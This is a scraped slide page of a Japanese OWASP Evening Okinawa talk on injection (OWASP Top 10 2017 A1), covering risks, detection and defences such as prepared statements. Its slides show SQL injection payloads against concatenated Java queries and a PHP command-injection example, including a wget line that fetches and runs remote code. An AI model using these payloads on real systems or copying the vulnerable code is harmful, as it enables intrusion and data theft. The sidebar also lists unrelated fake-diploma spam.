owasp_evening_okinawa_7_owasp_top_10-2017_injection

Apr. 6, 2018
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
1 of 91

More Related Content

Slideshows for you

他人事ではないWebセキュリティ他人事ではないWebセキュリティ
他人事ではないWebセキュリティYosuke HASEGAWA
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016Hiroshi Tokumaru
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)Yosuke HASEGAWA
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -Isao Takaesu
Phpcon2015Phpcon2015
Phpcon2015Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)Hiroshi Tokumaru

Slideshows for you(20)

Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection

OWASP_Top_10_2017_A3機微な情報の露出OWASP_Top_10_2017_A3機微な情報の露出
OWASP_Top_10_2017_A3機微な情報の露出oshiro_seiya
【LTセッション】Brainwave 使ってみた_DEEP LEARNING LAB【LTセッション】Brainwave 使ってみた_DEEP LEARNING LAB
【LTセッション】Brainwave 使ってみた_DEEP LEARNING LABDeep Learning Lab(ディープラーニング・ラボ)
OWASP Top 10 超初級編OWASP Top 10 超初級編
OWASP Top 10 超初級編AkitadaOmagari
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADAビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADARiotaro OKADA
Data Scientists Love SQL ServerData Scientists Love SQL Server
Data Scientists Love SQL ServerTomoyuki Oota
OAuth Security Workshop 2017 #osw17OAuth Security Workshop 2017 #osw17
OAuth Security Workshop 2017 #osw17Tatsuo Kudo

Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection(20)

Recently uploaded

#专业或教育领域Brandon毕业证成绩单#专业或教育领域Brandon毕业证成绩单
#专业或教育领域Brandon毕业证成绩单MaggieSU14
#专业或教育领域DePaul毕业证成绩单#专业或教育领域DePaul毕业证成绩单
#专业或教育领域DePaul毕业证成绩单MaggieSU14
#关于丹佛大学毕业证办理流程#关于丹佛大学毕业证办理流程
#关于丹佛大学毕业证办理流程kaxib93463
#毕业日期,电子版uOttawa毕业证成绩单#毕业日期,电子版uOttawa毕业证成绩单
#毕业日期,电子版uOttawa毕业证成绩单ColumbiaDiplomaColum
#专业或教育领域Nipissing毕业证成绩单#专业或教育领域Nipissing毕业证成绩单
#专业或教育领域Nipissing毕业证成绩单MaggieSU14
#毕业日期,电子版Sheridan毕业证成绩单#毕业日期,电子版Sheridan毕业证成绩单
#毕业日期,电子版Sheridan毕业证成绩单ColumbiaDiplomaColum

owasp_evening_okinawa_7_owasp_top_10-2017_injection

  1. OWASP Top 10 を学ぼう! (A1:2017-インジェクション) OWASP Evening OKINAWA #7 桃原 裕太
  2. 自己紹介 桃原 裕太 株式会社シーエー・アドバンス 技術統括本部 Webアプリケーション脆弱性診断に携わって約5年 月一でセキュリティもくもく勉強会を開催 2
  3. 目次 はじめに OWASP について OWASP Top 10 について 2013年版から2017年版への変更点 アプリケーションセキュリティリスク A1:2017 - インジェクション おわりに 3
  4. はじめに 4
  5. はじめに ※注意※ ここで得た知識を悪用しな いようにしてください 5
  6. はじめに スライドが90枚 くらいあります! 一枚一枚はそんなに 長くないはず 6
  7. はじめに 2017年12月に OWASP Top 10 の日本語版が公開 されましたね! 7
  8. はじめに 少しずつですが、 沖縄でも学んでい きたいと思います。 (全10回) 8
  9. はじめに 2018/03 A1:2017-インジェクション 2018/06 A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 9
  10. はじめに 2018/03 A1:2017-インジェクション (今回はコチラ!) 2018/06 A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 10
  11. はじめに  次回以降は登壇者をローテーションしたいので、 我こそは!という方は、個別にでもいいのでご連 絡いただけるとありがたいです。 11
  12. OWASP について 12
  13. OWASP について  OWASP とは、Open Web Application Security Project の略称です。  Webをはじめとするセキュリティ環境の現状、ま たセキュアなソフトウェア開発を促進する技術・ プロセスに関する情報共有と普及啓発を目的とし たプロフェッショナルの集まる、オープンソー ス・ソフトウェアコミュニティです。  OWASP Okinawaは日本で6番目に発足したローカ ルチャプターです。 13
  14. OWASP について  OWASP は様々なプロジェクトがあり、 その成果物があります。  OWASP Top 10 - 2017  OWASP Mobile Top 10 - 2016  OWASP Proactive Controls  OWASP Application Security Verification Standard  OWASP Wordpress Security Implementation Guideline 14
  15. OWASP Top 10 - 2017 に ついて 15
  16. OWASP Top 10 - 2017 につい て  アプリケーションセキュリティのデファクト・ス タンダード  前回作成したものが OWASP Top 10 - 2013  アプリケーションセキュリティを始める人や 組織が良いスタートをきれるように作成していま す 16
  17. OWASP Top 10 - 2017 につい て  大規模な組織や、セキュリティの取り組みにおい て高いレベルの組織において、厳密な標準が求め られているような場合には OWASP Application Security Verification Standard (ASVS) を使う ように勧めているようです 17
  18. OWASP Top 10 - 2017 につい て  OWASP Top10の主要な目的は、開発者、デザイ ナー、アーキテクト、マネージャ、組織に、最も 一般的かつ最も重要なWebアプリケーションセ キュリティの弱点の影響について教育することで す。  リスクの高い問題のある領域を守るための基本的 なテクニックを提供し、現時点からどこへ進める べきなかについてのガイダンスを提供します。 18
  19. 2013年版から 2017年版への 変更点 19
  20. 2013年版から2017年版への変更点  ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 マイクロサービス RESTful Web シングルページアプリケーション 従来サーバー側で処理されてきた機能が クライアント側に移る 20
  21. 2013年版から2017年版への変更点  ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 node.js 等、JavaScript が Web の主要言語に モダンな Web フレームワークの登場 Bootstrap, Electron, Angular, React 21
  22. 2013年版から2017年版への変更点 (追加された項目) 22
  23. 2013年版から2017年版への変更点 (統合された項目) 23
  24. 2013年版から2017年版への変更点 (削除された項目) 24
  25. 2013年版から2017年版への変更点 (削除された項目) ※補足  クロスサイトリクエストフォージェリ(CSRF)  多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている  未検証のリダイレクトと転送  アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた 25
  26. 2013年版から2017年版への変更点 (削除された項目) ※補足  クロスサイトリクエストフォージェリ(CSRF)  多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている  未検証のリダイレクトと転送  アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた ※一定数存在するので、無視していいわ けではないです 26
  27. アプリケーション セキュリティリスク について 27
  28. アプリケーション セキュリティリスクについて 攻撃者はアプリケーションを介して様々な経路 で、ビジネスや組織に被害を及ぼします。 28
  29. それぞれの経路は、注意を喚起すべき深刻なリ スクやそれほど深刻ではないリスクを表してい ます。 29 アプリケーション セキュリティリスクについて
  30.  これらの経路の中には、検出や悪用がしやすいものもあ れば、しにくいものもあります。  同様に、引き起こされる被害についても、 ビジネスに 影響がないこともあれば、破産にまで追い込まれること もあります。 30 アプリケーション セキュリティリスクについて
  31. アプリケーションセキュリティリスクについて  組織におけるリスクを判断するためにまず、以下の項目 に関してそれぞれの可能性を評価します。 「脅威エージェント」 「攻撃手法」 「セキュリティ上の弱点」 31 アプリケーション セキュリティリスクについて
  32.  アプリケーションセキュリティリスクについて  その次に、組織に対する影響を考慮してみてください。 「技術面への影響」 「ビジネス面への影響」 32 アプリケーション セキュリティリスクについて
  33.  アプリケーションセキュリティリスクについて  最後に、これら全てのファクターに基づき、リスクの全 体像を決定します。 33 アプリケーション セキュリティリスクについて
  34. 次からインジェクションのお話 なのですが 34 ここまでで 何か質問等ありますか?
  35. A1:2017 -インジェ クション 35
  36. A1:2017-インジェクション ここから本題です! 36
  37. A1:2017-インジェクション その前に、 インジェクション 知ってる方ってどのくらい いますか…? 37
  38. A1:2017-インジェクション インジェクションについてざっくり解説 コマンドやクエリの一部として信頼されない データが送信される場合に発生 攻撃コードがインタープリタを騙すことで、 様々な問題が… 意図しないコマンドの実行 機密情報の漏えい 権限を有していないデータへのアクセス、等 38
  39. A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 39
  40. A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 40
  41. A1:2017-インジェクション ~インジェクションとなっ ている脆弱性が今回のテー マです 41
  42. A1:2017-インジェクション なにが問題なの? 42
  43. A1:2017-インジェクション 機密情報が漏洩した場合… 43
  44. A1:2017-インジェクション 損害賠償に発展する事例も  [参考]https://blog.tokumaru.org/2015/01/sql.html 44
  45. A1:2017-インジェクション 次はインジェクションの リスクについて確認してい きましょう 45
  46. A1:2017-インジェクション リスクについて 46
  47. A1:2017-インジェクション インジェクションのリスクについて 47
  48. A1:2017-インジェクション インジェクションのリスクについて 48 それぞれの項目について 確認していきます
  49. A1:2017-インジェクション インジェクションのリスクについて 49
  50. A1:2017-インジェクション 悪用のしやすさ(3段階評価) 容易:3 ほとんどのデータソースがインジェクションの 経路となりえます。 環境変数 パラメータ 外部及び内部のWebサービス あらゆる種類のユーザ 攻撃者が送った悪意のあるデータがインタープ リタ上で動作する場合にインジェクションは発 生します。 50
  51. A1:2017-インジェクション インジェクションのリスクについて 51
  52. A1:2017-インジェクション 弱点の蔓延度(3段階評価) よく見られる:2 特にレガシーコードで一般的です インジェクション脆弱性は、下記でよく見 られます。 SQL LDAP Xpath NoSQLクエリ OSコマンド XMLパーサー SMTPヘッダー 式言語 ORMクエリ 52
  53. A1:2017-インジェクション インジェクションのリスクについて 53
  54. A1:2017-インジェクション 検出のしやすさ(3段階評価) 容易:3 インジェクション欠陥は、コードを調べる と簡単に発見できます。 インジェクション欠陥を見つけるのに役立 つ手法があります スキャナ(ソースコードの静的チェック) ファジング(動的解析) 54
  55. A1:2017-インジェクション インジェクションのリスクについて 55
  56. A1:2017-インジェクション 技術面(3段階評価) 深刻:3 様々な問題が起きます データの損失 破壊 情報漏洩 アカウンタビリティの喪失 アクセス拒否 ホストの完全な乗っ取り 56
  57. A1:2017-インジェクション インジェクションのリスクについて 57
  58. A1:2017-インジェクション 脅威エージェントとビジネス面の影響 リスクを理解するためには「脅威エージェ ント」と「ビジネス面への影響」を考慮 しないといけません。 ソフトウェア に甚大な弱点があったとし ても、攻撃をする「脅威エージェント」 がいない、或いは関連資産への「ビジネ ス面への影響」 が極めて少ない場合、重 大なリスクにはなりません。 58
  59. A1:2017-インジェクション ビジネスへの影響は、アプリケーションと データの重要性に依存します。例えば、 個人情報の漏えい 重要性が高い クライアント情報の漏えい 重要性が高い ECサイトで販売している商品情報の漏えい (公開されている情報) 重要性が低い 59
  60. A1:2017-インジェクション 次はインジェクションの 見つけ方について 確認していきましょう 60
  61. A1:2017-インジェクション 脆弱性発見のポイント(1/5) ユーザが提供したデータをそのまま信頼してい る場合はインジェクションが発生しやすいです 検証していない フィルタリングしていない サニタイズされない コンテキストに応じたエスケープが行われず、 動的クエリまたはパラメータ化されていない呼 出しがインタープリタに直接使用される SQLに使われるデータがエスケープされてない等 61
  62. A1:2017-インジェクション 脆弱性発見のポイント(2/5) 次のような状況では、アプリケーションはこの 攻撃に対して脆弱です オブジェクト・リレーショナル・マッピング (ORM)の検索パラメータに悪意を持ったデー タが使用され、重要なレコードを追加で抽出して しまう。  悪意を持ったデータを直接または連結して使う。 例えば、動的クエリ、コマンド、ストアド・プロ シージャにおいて構文に悪意を持ったデータを組 み合わせる形でSQLやコマンドが組み立てられる。 62
  63. A1:2017-インジェクション  脆弱性発見のポイント(3/5) 一般的なインジェクションとしては、下記がありま す。 SQL NoSQL OSコマンド オブジェクト・リレーショナル・マッピング(ORM) LDAP EL式(Expression Language) OGNL式(Object GraphNavigation Library) コンセプトはすべてのインタープリタで同じです。 63
  64. A1:2017-インジェクション  脆弱性発見のポイント(4/5) ソースコードをレビューすることが最も効果的に検 出できます すべての入力値の完全な自動テストも効果的です パラメータ ヘッダー URL Cookie JSON SOAP XML 64
  65. A1:2017-インジェクション 脆弱性発見のポイント(5/5) 下記のようなツールをCI/CDパイプライン(ビ ルド~テスト~リリースの自動化ツール)に導 入します 静的ソースコード解析ツール (SAST) Java/PHP/Ruby 等、言語毎にツールが存在 動的アプリケーションテストツール (DAST) 実際にHTTPリクエストを送信してテスト 自動化することで新たに作られてしまったイン ジェクション欠陥をリリース前に検出できます 65
  66. A1:2017-インジェクション 次はインジェクションの 攻撃例について 確認していきましょう 66
  67. A1:2017-インジェクション 攻撃シナリオの例(#1) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます Javaの例をあげます 67
  68. A1:2017-インジェクション 攻撃シナリオの例(#1)  http://example.com/app/accountView?id=1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 68
  69. A1:2017-インジェクション 攻撃シナリオの例(#1)  http://example.com/app/accountView?id=' or '1'='1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 69
  70. A1:2017-インジェクション 攻撃シナリオの例(#2) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます JavaのORMツール(Hybernate)の例をあ げます 70
  71. A1:2017-インジェクション 攻撃シナリオの例(#2)  http://example.com/app/accountView?id=1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 71
  72. A1:2017-インジェクション 攻撃シナリオの例(#2)  http://example.com/app/accountView?id=' or '1'='1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 72
  73. A1:2017-インジェクション 攻撃シナリオの例(#3) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なOSコ マンドの呼び出しを作ってしまいます PHPの例をあげます 73
  74. A1:2017-インジェクション 攻撃シナリオの例(#3)  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 74
  75. A1:2017-インジェクション 攻撃シナリオの例(#3)  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 75
  76. A1:2017-インジェクション 攻撃シナリオの例(#3)  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 76
  77. A1:2017-インジェクション 攻撃シナリオの例(#3)  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10; 77
  78. A1:2017-インジェクション 攻撃シナリオの例(#3)  なぜsleepコマンド? yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる yyyymm=201701;sleep 10; の場合 ※レスポンスが返ってくるまでに11秒かかる 78
  79. A1:2017-インジェクション 攻撃シナリオの例(#3)  不正なファイルのDLと実行 ;wget http://example.com/evil.txt -O evil.php;php evil.php;  ツールの取得(yum, apt-get)  ファイル削除 (rm)  OSシャットダウン(shutdown)  その他いろいろ 79
  80. A1:2017-インジェクション 次はインジェクションの 防止方法について 確認していきましょう 80
  81. A1:2017-インジェクション 防止方法 コマンドとクエリからデータを常に分ける ようにします インタープリタの使用を完全に避けるよう にします パラメータ化されたインターフェースを利 用するようにします ORMを使用するように移行するようにしま す 81
  82. A1:2017-インジェクション 防止方法 注意)パラメータ化されていたとしても、 ストアドプロシージャでは、 SQLインジェ クションを発生する可能性があります 例)PL/SQLまたはT-SQLによってクエリと データを連結 例)EXECUTE IMMEDIATEやexec()を利用 して悪意のあるデータを実行する 例にあるような書き方は避けるようにしま しょう 82
  83. A1:2017-インジェクション 防止方法 「ホワイトリスト」によるサーバサイドの 入力検証を用いるようにします フォームのラジオボタンやセレクトボックス はホワイトリストでの入力値チェックがしや すいと思います フォームのテキストエリア等はホワイトリ ストでのチェックは難しそう… 83
  84. A1:2017-インジェクション 防止方法 これまでの対応が困難な動的クエリでは、 そのインタープリタ固有のエスケープ構文 を使用して特殊文字をエスケープするよう にします 注意点)テーブル名やカラム名などのSQLス トラクチャに対してはエスケープができない ため、ユーザ指定のストラクチャ名は危険で す。 レポート作成ソフトウェア等で見かけられる 問題のようです。 84
  85. A1:2017-インジェクション 防止方法 実行するSQLのクエリ内で LIMIT 句やそ の他のSQL制御を常に使用するようにし ます 緩和策だと思いますが SQL インジェク ション攻撃が発生した場合のレコードの 大量漏洩を防ぐことができるかもしれま せん 85
  86. A1:2017-インジェクション 攻撃シナリオの例(#1) ※対策版  http://example.com/app/accountView?id=' or '1'='1 PreparedStatement prep = conn.prepareStatement( "SELECT * FROM accounts WHERE custID=?" ); prep.setString(1, request.getParameter("id")); // SELECT * FROM accounts // WHERE custID=''' or ''1''=''1' /* custIDが「' or '1'='1」のアカウントデータを取得 */ 86
  87. おわりに  まとめ インジェクションについて OWASP Top 10 - 2017 をベースにお話しました 例えばOSコマンドインジェクションが発生した 場合はビジネスに致命的な影響を及ぼす可能性 があります 不正なファイルの実行、データ漏えい、サーバー ダウン等 今回学んだ、脆弱性発見のポイント、攻撃例、防止 方法をもとにインジェクションのない安全なWebア プリケーションを開発できるように頑張ってくださ い 87
  88. おわりに  参考サイト、参考資料  https://www.owasp.org/images/2/23/OWASP_Top_10- 2017%28ja%29.pdf  https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf  https://blog.tokumaru.org/2015/01/sql.html  https://www.ipa.go.jp/files/000017320.pdf 88
  89. おわりに 89 何か質問等ありますか?
  90. おわりに  次回、登壇したい方がいれば 個別でもいいですので教えてください…! ※30分くらいで考えています 90
  91. ご清聴 ありがとうございました! 91